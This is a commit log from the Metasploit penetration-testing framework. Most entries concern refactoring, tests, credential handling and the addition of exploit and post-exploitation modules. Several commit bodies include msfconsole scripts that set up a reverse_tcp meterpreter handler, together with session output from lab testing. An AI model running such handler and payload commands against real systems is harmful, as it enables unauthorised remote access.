- Many code duplications are eliminated from modules in favor of shared
   implementations in the framework.
 - Paths are properly quoted in shell operations and duplicate operations are
   squashed.
 - Various subtle bugs in error handling are fixed.
 - Error handling is simpler.
 - Windows services API is revised and modules are updated to use it.
 - various API docs added
 - railgun API constants are organized and readable now.
2015-01-08 16:54:01 -06:00
jvazquez-r7 c05b2e2b03 Fix Continuation specs 2015-01-08 16:51:33 -06:00
Jon Hart ed74271c26 Land #4548, @dmaloney-r7's fix to allow loginscanners to work w/o a DB 2015-01-08 14:50:08 -08:00
jvazquez-r7 5dfc0f1665 Fix Client mixin specs 2015-01-08 16:48:11 -06:00
Christian Mehlmauer 14b1d8dc5f no space required 2015-01-08 23:43:06 +01:00
Jon Hart 98cee8249d Move non-active DB messages to warning and clarify/simplify 2015-01-08 14:40:47 -08:00
Christian Mehlmauer f7eb9a6cf8 update wordpress version detection regex 2015-01-08 23:36:59 +01:00
Brent Cook e447a17795 bump deprecated date 2015-01-08 16:20:06 -06:00
sinn3r 50ecfbf64c Land #4553 - Update bypass UAC to work on 7, 8, 8.1, and 2012 2015-01-08 16:19:55 -06:00
Brent Cook 05279ef02a consistently use double-quoted paths
allow for variable expansion if needed
2015-01-08 16:10:28 -06:00
jvazquez-r7 fa5cd928a1 Refactor exploit to use the mixin 2015-01-08 16:04:56 -06:00
jvazquez-r7 ca765e2cc5 Refactor client mixin 2015-01-08 15:46:24 -06:00
rastating 82e6183136 Add Msf::Exploit::FileDropper mixin 2015-01-08 21:07:00 +00:00
rastating 93dc90d9d3 Tidied up some code with existing mixins 2015-01-08 20:53:56 +00:00
jvazquez-r7 873ade3b8a Refactor exploit module 2015-01-08 14:52:55 -06:00
jvazquez-r7 956bf0c8f9 Fix indentation 2015-01-08 14:31:37 -06:00
Brent Cook 0f7f75b1c0 Land #4557, FireFart's fix for faulting folly 2015-01-08 14:29:27 -06:00
jvazquez-r7 3debcef00b Fix call from aux module 2015-01-08 14:24:27 -06:00
jvazquez-r7 db4d24cb2c Add spec for build_gc_call_data 2015-01-08 14:24:07 -06:00
jvazquez-r7 549e42279c Create specs for Streams 2015-01-08 14:17:57 -06:00
sinn3r 0e6c7181b1 "Stash" it 2015-01-08 14:13:14 -06:00
jvazquez-r7 e9e6c32769 Move build* calls to Streams 2015-01-08 14:13:06 -06:00
jvazquez-r7 23d0ae9488 Add Streams mixin 2015-01-08 14:01:41 -06:00
jvazquez-r7 c205ef28d4 Refactor build_gc_call 2015-01-08 14:01:04 -06:00
Christian Mehlmauer a5b56c7d09 fix error 2015-01-08 19:48:29 +01:00
David Maloney fd7e65d459 derp just check db active
the other way of doing this was stupid, jsut check if
the db is active
2015-01-08 11:58:56 -06:00
jvazquez-r7 9a42d42318 Add specs for Msf::Rmi::Client 2015-01-08 11:57:38 -06:00
jvazquez-r7 bf482e806c Add YARD documentation for the YARD mixin 2015-01-08 09:56:32 -06:00
Trevor Rosen 2a52bfd26d Land #4554, metasploit-credential bump to 0.13.11 2015-01-08 09:49:08 -06:00
Trevor Rosen 14a35eb28a Bump metasploit-credential to 0.13.11 2015-01-08 09:35:07 -06:00
OJ 8be813e51d Merge runas updates from Meatballs1/update_bypass_uac 2015-01-08 21:21:19 +10:00
Meatballs a9fee9c022 Fall back to runas if UAC disabled 2015-01-08 11:07:57 +00:00
Meatballs 8f720ef766 Use get_env in runas 2015-01-08 11:07:40 +00:00
William Vu 3c4ec1d958 Land #4547, rm data/meterpreter/common.lib 2015-01-08 04:52:29 -06:00
William Vu ea793802cc Land #4528, mantisbt_php_exec improvements 2015-01-08 04:50:00 -06:00
Meatballs 3c3d28b475 Land #4551, correct spelling in dns_bruteforce 2015-01-08 10:03:28 +00:00
jvazquez-r7 73e3cd19c3 Convert java_rmi_server aux mod to use new mixin 2015-01-08 00:29:50 -06:00
OJ 844460dd87 Update bypass UAC to work on 8.1 and 2012
This commit contains a bunch of work that comes from Meatballs1 and
Lesage, and updates the bypassuac_inject module so that it works on
Windows 8.x and Windows 2012. Almost zero of the code in this module
can be attributed to me. Most of it comes from Ben's work.

I did do some code tidying, adjustment of style, etc. but other than
that it's all down to other people.
2015-01-08 15:39:19 +10:00
William Vu 0604b2ecc7 Land #4542, invalid splat URL fix 2015-01-07 22:54:22 -06:00
EricGershman 0496bb16bc Minor spelling fix 2015-01-07 23:43:59 -05:00
jvazquez-r7 7dd7e62726 Add first mixin draft 2015-01-07 20:42:44 -06:00
jvazquez-r7 d59805568e Do first module refactoring try 2015-01-07 19:06:09 -06:00
Samuel Huckins f0261a418c Lands #4535, report_auth_info shoring up 2015-01-07 16:32:14 -06:00
David Maloney 001b6d913e allows loginscanners to work without db
created stub methods around the credential
creation methods modules would use from
Metasploit::Credential, they try to call the real ones
but rescue a NoMethodError that arises if framework is setup
without the db. it just prints a message to the console
telling the user the cred data will not be saved

MSP-10969
2015-01-07 16:09:04 -06:00
Meatballs e6f53ebcbc Remove duplicate rhosts 2015-01-07 22:04:01 +00:00
rastating 7b92c6c2df Add WP Symposium Shell Upload module 2015-01-07 22:02:39 +00:00
Meatballs dccd21a559 Resolve #3870, reinstance creds -R 2015-01-07 22:01:45 +00:00
Brent Cook 32ddd5ccb4 delete unused library from meterpreter dir
common.lib is only used by the build process, not MSF
2015-01-07 16:00:37 -06:00
David Maloney f2c22b6dc7 corrected schema 2015-01-07 15:38:39 -06:00
David Maloney 129e579e69 update gemspec for newest mdm
this pulls latest mdm version into framework
which adds a uniqness validation to Service

MSP-11643
2015-01-07 15:35:55 -06:00
James Lee da2e088118 Land #4536, Ruby 2.2 compat fixes
Note that ActiveRecord 3.2.21 still has a similar warning that will
probably cause bugs, preventing full support for 2.2 until that's fixed.
2015-01-07 15:33:23 -06:00
David Maloney a491f22a09 migration update 2015-01-07 15:32:31 -06:00
Meatballs e3e9a64064 Land #4543, Update john.conf with korelogic rules 2015-01-07 21:30:44 +00:00
jvazquez-r7 731c2f99d1 Handle better java references 2015-01-07 15:19:28 -06:00
Meatballs bdbb26ba31 Land #4540, resolves #4532, honour DB_ALL_* options 2015-01-07 21:12:23 +00:00
David Maloney fcf0a3f096 pull latest credential 2015-01-07 15:09:01 -06:00
Meatballs 361057ce6e Land #4544, resolves #4511 - fix rails log location 2015-01-07 20:58:26 +00:00
Meatballs 0b0ac1455a Merge remote-tracking branch 'upstream/master' into extapi_service_post
Conflicts:
	test/modules/post/test/services.rb
2015-01-07 20:53:34 +00:00
Meatballs db367895a8 Land #4491, Fix test modules 2015-01-07 20:48:49 +00:00
Brent Cook 0c94536b87 make post service manipulation tests work
Fix a funny default service name, adjust test to be case-agnostic.

winmgmt on Windows XP and Windows 8 have different capitalization for this
service. I'm not sure why it's a module parameter though - the test will still
fail if its anything other than winmgmt.

The following RC script has 7 successful outputs when run against a reverse_tcp shell.

Run a reverse_tcp stager and the following RC script to run the test

```
loadpath test/modules
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.1
run -j
sleep 5
use post/test/services
set SESSION 1
run
```

Note: this test still doesn't run very reliably on windows 8 unless you're
using the code from rapid7/meterpreter#107 and #4411, though it runs ok on
Windows XP.
2015-01-07 13:31:16 -06:00
Brent Cook c96c8a03cf CmdStagerVBS is now in Rex::Exploitation
```
 $ ./msfconsole -qx "loadpath test/modules/; exit"
 Loaded 32 modules:
     12 auxiliarys
	 12 exploits
	 8 posts
```
2015-01-07 13:31:15 -06:00
David Maloney 82d129bfc4 Merge branch 'master' into feature/jtr-korelogic-rules-update 2015-01-07 12:42:23 -06:00
David Maloney 9bcb3b95cd Merge branch 'master' of github.com:rapid7/metasploit-framework 2015-01-07 12:41:43 -06:00
David Maloney df70678762 tell suer KoreLogic rules have been applied
make sure to rpovide console feedback that we are
actually applying the KoreLogic rules to wordlist mode
2015-01-07 12:36:07 -06:00
rastating 294cd80a08 Update documentation for wordpress_login 2015-01-07 18:32:52 +00:00
David Maloney 4ad7021336 give user option to turn on KoreLogic rules
the cracker modules in framework now have a datastore option
to allow the user to select the KoreLogicRules
2015-01-07 12:32:26 -06:00
David Maloney 5480cb81f5 add updated KoreLogic rules to john.conf
updated our shipped john.conf to include a
more up to date version of the KoreLogic JtR rules.
They add overhead to the cracking time but are
probably some of the best/most effective JtR
rules out there.
2015-01-07 12:25:04 -06:00
sinn3r ef97d15158 Fix msftidy and make sure all print_*s in check() are vprint_*s 2015-01-07 12:12:25 -06:00
David Maloney 5d68d48ca5 Land #4385, fixes bruteforce_speed validator
bruteforce_speed validator now accepts nil
2015-01-07 12:09:25 -06:00
jvazquez-r7 ba13e9d64c Add Stream spec 2015-01-07 12:05:44 -06:00
David Maloney 702511dbc5 respect DB_ALL_USERS & DB_ALL_PASS
fix last few things in authbrute
and make the CredentialCollections understand the
additional seperate components

MSP-11986
2015-01-07 11:41:41 -06:00
David Maloney 7ff2ba0725 first pass on fixing DB_ALL authbrute stuff
DB_ALL_CREDS worked but DB_ALL_USER and DB_ALL_PASS
did not. working on fixing that.
This commit also does some nice DRY work in the auth_brute mixin

MSP-11986
2015-01-07 11:30:39 -06:00
rastating a5f48b23df Add use of Msf::ThreadManager 2015-01-07 17:27:06 +00:00
Meatballs aef8c702d7 Filter creds by type 2015-01-07 17:19:31 +00:00
James Lee 3e80efb5a8 Land #4521, Pandora FMS upload 2015-01-07 11:13:57 -06:00
James Lee 1ccef7dc3c Shorter timeout so we get shell sooner
The request to execute our payload will never return, so waiting for the
default timeout (20 seconds) is pointless.
2015-01-07 11:11:33 -06:00
rastating e90e98547b Add configurable timeout to WordPress login 2015-01-07 17:06:31 +00:00
sinn3r 4c240e8959 Fix #4098 - False negative check for script_mvel_rce
Fix #4098, thanks @arnaudsoullie
2015-01-07 10:40:58 -06:00
sinn3r c60b6969bc Oh so that's it 2015-01-07 10:39:46 -06:00
James Lee efe83a4f31 Whitespace 2015-01-07 10:19:17 -06:00
Trevor Rosen 3ba3465afb Ensure logging in ~/.msf4/log
Fix #4511
2015-01-07 09:37:07 -06:00
m7x 89699d1549 Typo workspace_id 2015-01-07 10:58:59 +00:00
Christian Mehlmauer 09bd0465cf fix regex 2015-01-07 11:54:55 +01:00
rcnunez b3def856fd Applied changes recommended by jlee-r7
used Rex::ConnectionError
refactor begin/rescue blocks
removed ::URI::InvalidURIError
changed @peer with peer
used Exploit::CheckCode:Appears instead of Exploit::CheckCode::Vulnerable
2015-01-07 18:38:19 +08:00
Christian Mehlmauer eaad4e0bea fix check method 2015-01-07 11:01:08 +01:00
dmooray 8c23e8c2e8 ruby 2.2 compatibility
Fix circular argument reference warnings for ruby 2.2
2015-01-07 12:00:50 +02:00
dmooray 478505c17a ruby 2.2 compatibility
https://bugs.ruby-lang.org/issues/10314
2015-01-07 11:41:34 +02:00
Christian Mehlmauer 862af074e9 fix bug 2015-01-07 09:10:50 +01:00
Christian Mehlmauer d007b72ab3 favor include? over =~ 2015-01-07 07:33:16 +01:00
Christian Mehlmauer 4277c20a83 use include? 2015-01-07 06:51:28 +01:00
Christian Mehlmauer 39e33739ea support for anonymous login 2015-01-07 00:08:04 +01:00
Christian Mehlmauer bf0bdd00df added some links, use the res variable 2015-01-06 23:25:11 +01:00
jvazquez-r7 98ec08ae0d Add support for Ping and PingAck 2015-01-06 15:18:55 -06:00
jvazquez-r7 1e3b24f01b Add support for DbgAck 2015-01-06 15:00:17 -06:00
William Vu fee49b0b85 Land #4531, Msf::Exploit::PDF method name fix 2015-01-06 14:26:58 -06:00
David Maloney a626c45813 update gemspec for newest credential
we need the latest metasploit-credential to migrate
over any old style creds still lingering around in the
database.

MSP-11919
2015-01-06 14:25:55 -06:00
jvazquez-r7 6d1d300e72 Add support for ReturnData 2015-01-06 12:52:00 -06:00
sinn3r 609c490b3c I missed nobfu 2015-01-06 12:49:39 -06:00
sinn3r 2ed05869b8 Make Msf::Exploit::PDF follow the Ruby method naming convention
Just changing method names.

It will actually also fix #4520
2015-01-06 12:42:06 -06:00
jvazquez-r7 825e08f5ac Add support for Call messages 2015-01-06 12:36:06 -06:00
jvazquez-r7 f3ff42dbfb Add support for Continuation 2015-01-06 11:34:47 -06:00
Christian Mehlmauer f9f2bc07ac some improvements to the mantis module 2015-01-06 11:33:45 +01:00
William Vu 0bece137c1 Land #4494, Object.class.to_s fix 2015-01-06 02:27:35 -06:00
William Vu f2710f6ba7 Land #4443, BulletProof FTP client exploit 2015-01-06 02:10:42 -06:00
William Vu 482cfb8d59 Clean up some stuff 2015-01-06 02:10:25 -06:00
William Vu 46aa165ca5 Land #4481, enum_users_history improvements 2015-01-06 01:52:38 -06:00
William Vu 745bfb2f35 Clean things up 2015-01-06 01:48:18 -06:00
jvazquez-r7 757f95a24d Add support for ProtocolAck 2015-01-06 00:14:14 -06:00
jvazquez-r7 26da73ffb8 Change class name 2015-01-05 19:23:07 -06:00
jvazquez-r7 d5dfd75e71 Add initial model and support to OutputStream 2015-01-05 18:52:13 -06:00
Meatballs 42b6c5425f Update tests 2015-01-05 22:25:14 +00:00
Meatballs dd5c638ab0 Merge remote-tracking branch 'upstream/master' into extapi_service_post 2015-01-05 22:18:44 +00:00
David Maloney fc91244252 insert deprecation error message
report_auth_info will now issue an error message
stating that the method is deprecated along with the module name
that called it

MSP-11919
2015-01-05 14:02:16 -06:00
David Maloney db8f260557 add some YARD docs to report_auth_info
add yard docs for the modified report_auth_info

MSP-11919
2015-01-05 13:58:25 -06:00
David Maloney 71d600e829 make report_auth_info create new creds and logins
report_auth_info coerces old data into the new credential
types as best as it is able

MSP-11919
2015-01-05 13:41:30 -06:00
Brent Cook a69609fe04 Land #4523: wchen-r7's #inspect->to_s conversions
Keep custom object display behavior the same between Ruby 1.9 and 2.1.
2015-01-05 13:26:08 -06:00
Brent Cook e73ff61f42 Land #4512, OJ's removal of superfluous path expansion 2015-01-05 13:14:59 -06:00
sinn3r 44dfa746eb Resolve #4513 - Change #inspect to #to_s
Resolve #4513
2015-01-05 11:50:51 -06:00
sinn3r 4257fef91b Land #4101 - Konica MFP FTP and SMB credential gathering module 2015-01-05 10:31:28 -06:00
agix f81269428d Change StageEncoder behaviour
Following https://github.com/rapid7/metasploit-framework/pull/3770, some
change have been done as multiple encoders is managed by encoded_payload
to be used by Encoder and StageEncoder in the same time.
2015-01-05 16:49:50 +01:00
agix 24bd814376 Missing iterations when encoder not setted 2015-01-05 16:46:29 +01:00
agix 2eace2b78a Forget to reset raw with encoded payload 2015-01-05 16:46:29 +01:00
agix ba5161753a Allow multiple encoding syntax in Encoder variable
From msfconsole using set Encoder or set StageEncoder
it is possible to set multiple encoders with this syntax :
<encoder>:<iteration>, <encoder2>:<iteration
This should not break compatibility
2015-01-05 16:46:29 +01:00
rcnunez 547b7f2752 Syntax and File Upload BugFix
Fix unexpected ) in line 118
Fix file cleanup missing _
Fix more robust version check script
Fix file upload
2015-01-05 19:23:22 +08:00
William Vu 1f4d62aff3 Land #4514, invalid splat URL fix 2015-01-05 03:44:40 -06:00
jvazquez-r7 e7affb9048 Land #4493, @pedrib's module for ManageEngine Central Desktop create admin 2015-01-04 23:46:31 -06:00
jvazquez-r7 c5e72fb324 Change module filename 2015-01-04 23:14:12 -06:00
jvazquez-r7 4798f2328d Change module filename 2015-01-04 23:13:17 -06:00
jvazquez-r7 6bb3171328 Do minor cleanup 2015-01-04 23:12:42 -06:00
jvazquez-r7 711b97ecc5 Beautify metadata 2015-01-04 23:08:46 -06:00
rastating 92015ac124 Replace custom login with wordpress_login mixin 2015-01-04 23:07:07 +00:00
jvazquez-r7 4653e48dba Land #4515, @bcook-r7's linux meterpreter binaries update 2015-01-04 16:59:24 -06:00
rastating 39412c4a48 Add WordPress long password DoS module 2015-01-04 18:50:23 +00:00
Pedro Ribeiro c9b76a806a Create manageengine_auth_upload.rb 2015-01-04 17:05:53 +00:00
Brent Cook 7ae56865f1 Update linux meterpreter binaries for rapid7/meterpreter#111
This rebuilds the binaries on Ubuntu 10.04 i386 for metepreter PR #111,
improving the reliability and fixing some bugs in linux process migration.

Tested against Ubuntu 10.04 i386 and Ubuntu 14.04 x86_64:

```
meterpreter > ps
...
 55994  48270  server                   0        bcook       ../metasploit-framework/server
 56009  44199  bash                     0        bcook       -bash
 56094  56009  dummy                    0        bcook       ./dummy

meterpreter > migrate 56094
[*] Migrating to 56094
[*] Migration completed successfully.
meterpreter > sysinfo
Computer     : mint
OS           : Linux mint 3.13.0-37-generic #64-Ubuntu SMP Mon Sep 22 21:28:38 UTC 2014 (x86_64)
Architecture : x86_64
Meterpreter  : x86/linux
meterpreter > ps
...
 55994  48270  [server] <defunct>        0        bcook
 56009  44199  bash                      0        bcook       -bash
 56094  56009  dummy                     0        bcook       ./dummy

meterpreter >
```

Verified presence of call stub when debugging a session:

```
(gdb) x/32b 0x61cc28
0x61cc28:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0x61cc30:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0x61cc38:	0x90	0x90	0x68	0x04	0x00	0x00	0x00	0x68
0x61cc40:	0xff	0xff	0xff	0xff	0xb8	0x5a	0x5a	0x5a
```
2015-01-04 10:47:44 -06:00
Pedro Ribeiro 32d4bf03c3 Add OSVDB id and full disclosure URL 2015-01-04 12:36:51 +00:00
Tim c959d42a29 minor tweak 2015-01-03 10:15:52 +00:00
Joshua J. Drake 7295cd34aa One more http// fix 2015-01-03 02:32:08 -06:00
William Vu 327f2839bb Land #4508, default Ruby 2.1.5 for everyone 2015-01-02 17:15:53 -06:00
OJ 17ff546b0f Remove unnecessary calls to expand path
When using the Meterpreter Binaries gem to locate the path to the
meterpreter DLLs, it's not necessary to use File.expand_path on
the result because the gem's code does this already.

This commit simple removes those unnecessary calls.
2015-01-03 08:30:26 +10:00
Tod Beardsley ff43fbd8de Land #4509, private/protected workaround for 2.1.5
Fixes #4507. See also #4506 (but does not fix this yet).
2015-01-02 15:53:58 -06:00
sinn3r d45cdd61aa Resolve #4507 - respond_to? + send = evil
Since Ruby 2.1, the respond_to? method is more strict because it does
not check protected methods. So when you use send(), clearly you're
ignoring this type of access control. The patch is meant to preserve
this behavior to avoid potential breakage.

Resolve #4507
2015-01-02 13:29:17 -06:00
Tod Beardsley a6e23e5e4d Default Ruby 2.1.5 for everyone
See #4506
2015-01-02 11:33:36 -06:00
sinn3r 3c755a6dfa Template 2015-01-02 11:31:28 -06:00
Sven Vetsch b121e2c3fd adds a get and getg method besides the already existing set/setg and unset/unsetg 2015-01-02 12:40:24 +01:00
root c348663204 Add McAfee Hashdump 2015-01-02 10:22:11 +00:00
OJ 5596cee803 Land #4502 - Update linux meterpreter bins 2015-01-02 12:41:35 +10:00
jvazquez-r7 69bda63ef6 Update linux meterpreter binaries 2015-01-01 20:05:36 -06:00
William Vu b64bfd87ca Land #4501, Wordpress readme regex update 2015-01-01 18:03:15 -06:00
Christian Mehlmauer 056046f38b update wordpress readme regex 2015-01-01 23:13:20 +01:00
Tod Beardsley c1718fa490 Land #4440, git client exploit from @jhart-r7
Also fixes #4435 and makes progress against #4445.
2015-01-01 13:18:43 -06:00
Tod Beardsley d7564f47cc Move Mercurial option to advanced, update ref url
See #4440
2015-01-01 13:08:36 -06:00
Tod Beardsley 914c724abe Rename module
See rapid7#4440
2015-01-01 13:03:17 -06:00
William Vu 2d6571c735 Land #4497, end-of-year .mailmap refresh 2015-01-01 09:10:59 -06:00
William Vu c777bde42e Land #4495, minor grammar fixes on modules 2015-01-01 09:10:16 -06:00
Tod Beardsley 3ebf5c6d5e Land #4496, increment the year 2014-12-31 18:01:51 -06:00
Tod Beardsley 45a096208a Land #4499, containerized builds 2014-12-31 15:53:36 -06:00
Luke Imhoff 95a9d5010c Use metasploit-model with metasploit-cache extracted
MSP-11141

Test that metasploit-model with metasploit-cache extracted and the
compatible metasploit_data_models and metasploit-credential are
compatible with metasploit-framework without changes.
2014-12-31 15:20:58 -06:00
Tod Beardsley a61ce66571 Okay last dupe I swear 2014-12-31 14:29:59 -06:00
Tod Beardsley 893322c788 One more dupe, oops! 2014-12-31 14:27:43 -06:00
Tod Beardsley c790d61994 Miss a couple .mailmap updates 2014-12-31 14:22:01 -06:00
Tod Beardsley dc9847bebe End of year .mailmap refresh 2014-12-31 14:15:13 -06:00
Luke Imhoff bb3e36fded Cache bundle
MSP-11931
2014-12-31 14:00:11 -06:00
Luke Imhoff b179daeb56 Enable containerized builds
MSP-11931

Disable the need for sudo to allow use of the faster docker
infrastructure.
2014-12-31 13:26:35 -06:00
Luke Imhoff 91e03e1bbb Remove need for sudo
MSP-11931
2014-12-31 13:25:48 -06:00
Jon Hart 65977c9762 Add some more useful URLs 2014-12-31 10:54:04 -08:00
HD Moore 15468aa6c0 Happy new year! 2014-12-31 12:12:45 -06:00
Tod Beardsley 264d3f9faa Minor grammar fixes on modules 2014-12-31 11:45:14 -06:00
Spencer McIntyre 6d966dbbcf Land #4203, @jvazquez-r7's cleanup for java_rmi_server 2014-12-31 11:25:19 -05:00
Brent Cook 92bdf42496 Land #3594, jvazquez-r7's linux meterpreter migration support 2014-12-31 09:20:44 -06:00
Christian Mehlmauer 4f11dc009a fixes #4490, class.to_s should not be used for checks 2014-12-31 10:46:24 +01:00
Pedro Ribeiro e81e68bdaf Create me_dc9_admin.rb 2014-12-31 02:02:52 +00:00
Pedro Ribeiro 8f466cfbac Merge pull request #12 from rapid7/master
a
2014-12-31 02:00:01 +00:00
jvazquez-r7 dccf189600 Update binaries 2014-12-30 18:39:29 -06:00
jvazquez-r7 722f86f361 Try to guess TMPDIR folder 2014-12-30 18:39:29 -06:00
jvazquez-r7 7596d211e9 Use length for comparision 2014-12-30 18:39:18 -06:00
jvazquez-r7 e903044fd5 Allow to provide writable dir 2014-12-30 18:36:30 -06:00
jvazquez-r7 f17a7e8a61 Better handling of the unix domain socket argument 2014-12-30 18:36:28 -06:00
jvazquez-r7 4df4e8b9d6 Add support for linux meterpreter migration 2014-12-30 18:34:24 -06:00
jvazquez-r7 56df2d0062 Add support for linux meterpreter migrate types 2014-12-30 18:30:15 -06:00
sinn3r 553030b22d Land #4473 - Log backtraces by default 2014-12-30 18:13:33 -06:00
Brendan Coles cc75c33d60 Use user home directories
Replace hard-coded '/home/' and '/root/' with `~username` shorthand.
2014-12-31 09:12:35 +11:00
Brendan Coles 013e45e83d Add support for MongoDB history 2014-12-31 08:38:58 +11:00
Brendan Coles d2e6f90569 Use a list of users 2014-12-31 08:12:16 +11:00
Tod Beardsley d248cad462 Fixes #4472, a broken meterpreter script 2014-12-30 14:32:59 -06:00
Tod Beardsley 135faeee29 Land #4095, specs for Rex::OLE 2014-12-30 14:25:09 -06:00
Christian Mehlmauer 6444d8ba64 use kind_of? for checking exceptions 2014-12-30 21:16:57 +01:00
William Vu ce0bbca6ed Land #4487, no spinnerz on Windows :( 2014-12-30 14:06:05 -06:00
Tod Beardsley a8e907d68b Land #4479, nil comparisons and missing DLLs
Also fixes #4474.
2014-12-30 13:55:54 -06:00
sinn3r 48919eadb6 Land #4444 - i-FTP BoF 2014-12-30 12:38:28 -06:00
Brent Cook bdac5db695 remove usage of ==/!= nil
Adjust all module-loading libraries to have consistent nil?/!nil? checking and
'if' style.
2014-12-30 10:59:49 -06:00
Brent Cook 125cc27f7a updated expected exception from a bad module load 2014-12-30 10:57:37 -06:00
Tod Beardsley 6ded5a7eb4 Avoid spinner on Windows
Fixes #4147, probably.
2014-12-30 10:17:56 -06:00
William Vu 4fd4d51d78 Land #4485, Drupageddon greedy regex fix 2014-12-30 10:16:57 -06:00
sinn3r 5c2f972ec1 Land #4483 - Alias Rex::Ui::Text::Output::Tee print_raw to write 2014-12-30 02:23:00 -06:00
Christian Mehlmauer 96fe693c54 update drupal regex 2014-12-30 09:12:39 +01:00
Jon Hart d727ac5367 Alias Rex::Ui::Text::Output::Tee print_raw to write, fixes #4469 and #4363 2014-12-29 16:47:04 -08:00
jvazquez-r7 e55b612206 Land #4482, @wchen-r7's fix for response_timeout on sessions command 2014-12-29 17:34:29 -06:00
sinn3r 9af3fd01d4 Fix response_timeout
response_timeout is a method specific to a meterpreter session, not
shell. So if the user is using a shell type payload, he will never
see a backtrace before interacting with the sessions.
2014-12-29 17:03:50 -06:00
sinn3r 555713b6ae Land #4456 - MS14-068, Kerberos Checksum (plus krb protocol support) 2014-12-29 16:09:28 -06:00
sinn3r f2130311fa Add the MSF blog reference 2014-12-29 16:08:35 -06:00
Brendan Coles 897e993971 Update description 2014-12-30 08:05:53 +11:00
Brendan Coles 8719a36d84 DRY status messages 2014-12-30 08:03:40 +11:00
Brendan Coles 0de80e9c76 Minor changes to style 2014-12-30 07:58:54 +11:00
Brendan Coles 0085bcf075 Use blank?' instead of nil?' 2014-12-30 07:38:34 +11:00
Brendan Coles a50ac4050c Add support for PostgreSQL history 2014-12-30 07:33:22 +11:00
Brendan Coles 4ebe0fc0a8 Add support for different shells 2014-12-30 07:26:12 +11:00
Brent Cook f9b141c1e2 Land #4442, wchen-r7's configurable session response timeout option
fixes #4431
2014-12-29 13:02:47 -06:00
Brent Cook 5d70b837ed handle nil results from MeterpreterBinaries.path
When a meterpreter binary cannot be found, give the user some hint about what
went wrong.

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.1
lhost => 192.168.43.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.43.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.43.252
[*] Meterpreter session 1 opened (192.168.43.1:4444 -> 192.168.43.252:49297) at 2014-12-29 12:32:37 -0600

meterpreter > use mack
Loading extension mack...
[-] Failed to load extension: No module of the name ext_server_mack.x86.dll found
```

This is also useful for not scaring away would-be developers who replaced only
half (the wrong half) of their DLLs from a fresh meterpreter build and
everything exploded. Not that thats ever happened to me :)
2014-12-29 12:34:02 -06:00
Tod Beardsley 72eb8e6503 Land #4475, inverted timeout fix 2014-12-29 11:37:28 -06:00
Brent Cook e286aeb837 patch metsvc to use MeterpreterBinaries.path
fixes #4472
2014-12-29 11:21:21 -06:00
jvazquez-r7 d2af956b16 Do minor cleanups 2014-12-29 10:39:51 -06:00
Brent Cook bbb41c39b8 fix backward meterpreter packet timeout logic
The current logic times out every packet almost immediately, making it possible
for almost any non-trivial meterpreter session to receive duplicate packets.

This causes problems especially with any interactions that involve passing
resource handles or pointers back and forth between MSF and meterpreter, since
meterpreter can be told to operate on freed pointers, double-closes, etc.

This probably fixes tons of heisenbugs, including #3798.

To reproduce this, I enabled all debug messages in meterpreter to slow it
down, then ran this RC script with a reverse TCP meterpreter, after linking in
the test modules:

(cd modules/post
 ln -s ../../test/modules/post/test)

die.rc:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.1
exploit -j
sleep 5
use post/test/services
set SESSION 1
run
2014-12-29 08:15:51 -06:00
Tod Beardsley 1dd9d60e34 Land #4461, Android cookie database theft
`
Thanks @jvennix-r7!
2014-12-29 08:15:21 -06:00
Tod Beardsley d10222365b Add Rafay's blog as a reference 2014-12-29 08:12:19 -06:00
jvennix-r7 c9f43e744d Merge pull request #16 from todb-r7/fixup-4461
Fixup #4461, Android sqllite theft bug
2014-12-28 23:08:10 -06:00
Christian Mehlmauer 3a73b40a1e more error handling 2014-12-29 00:39:00 +01:00
Christian Mehlmauer 7b52bcb657 log errors into framework.log 2014-12-29 00:20:26 +01:00
Tod Beardsley 1236684954 Use get_uri instead, note lack of Rex::Text method
See rapid7#4461
2014-12-28 15:06:34 -06:00
Tod Beardsley 788e315fd4 Fix msftidy warnings 2014-12-28 14:53:29 -06:00
William Vu 01daadcc49 Land #4470, bind_hidden_ipknock_tcp stager 2014-12-27 17:11:25 -06:00
Borja Merino 9791acd0bf Add stager ipknock shellcode (PR 2) 2014-12-27 22:03:45 +01:00
jvazquez-r7 9f98fd4d87 Info leak webapp ROOT so we can cleanup 2014-12-27 08:47:51 -06:00
jvazquez-r7 5afd2d7f4b Add module for ZDI-14-410 2014-12-26 20:40:28 -06:00
jvazquez-r7 04772c8946 Ensure stop_service closes Rex::Proto::Http::Server 2014-12-26 13:50:03 -06:00
jvazquez-r7 655cfdd416 Land #4321, @wchen-r7's fixes #4246 ms01_026_dbldecode undef method 2014-12-26 12:48:29 -06:00
Jon Hart 51049152b6 Use Rex::Text.rand_mail_address for more realistic fake commit 2014-12-26 10:39:52 -08:00
jvazquez-r7 c1b0385a4b Land #4460, @Meatballs1's ssl cert validation bypass on powershell web delivery 2014-12-26 12:07:45 -06:00
jvazquez-r7 2bed52dcd5 Land #4459, @bcoles's ProjectSend Arbitrary File Upload module 2014-12-26 11:28:42 -06:00
jvazquez-r7 b5b0be9001 Do minor cleanup 2014-12-26 11:24:02 -06:00
jvazquez-r7 85ab11cf52 Use print_warning consistently 2014-12-26 09:54:38 -06:00
jvazquez-r7 f31a2e070e Use print_warning to print the Kerberos error 2014-12-26 09:22:09 -06:00
jvazquez-r7 2992ae0630 Land Code to handle kerberos error codes 2014-12-24 18:06:14 -06:00
jvazquez-r7 d148848d31 Support Kerberos error codes 2014-12-24 18:05:48 -06:00
jvazquez-r7 bde92b26e9 Land #3695, @jakoblell linux desktop privilege escalation
* through screensavers / policykit user component hijacking
2014-12-24 15:52:40 -06:00
jvazquez-r7 121c0406e9 Beautify restart_command creation 2014-12-24 15:52:15 -06:00
jvazquez-r7 43ec8871bc Do minor c code cleanup 2014-12-24 15:45:38 -06:00
jvazquez-r7 92113a61ce Check payload 2014-12-24 15:43:49 -06:00
jvazquez-r7 36ac0e6279 Clean get_restart_commands 2014-12-24 14:55:18 -06:00
jvazquez-r7 92b3505119 Clean exploit method 2014-12-24 14:49:19 -06:00
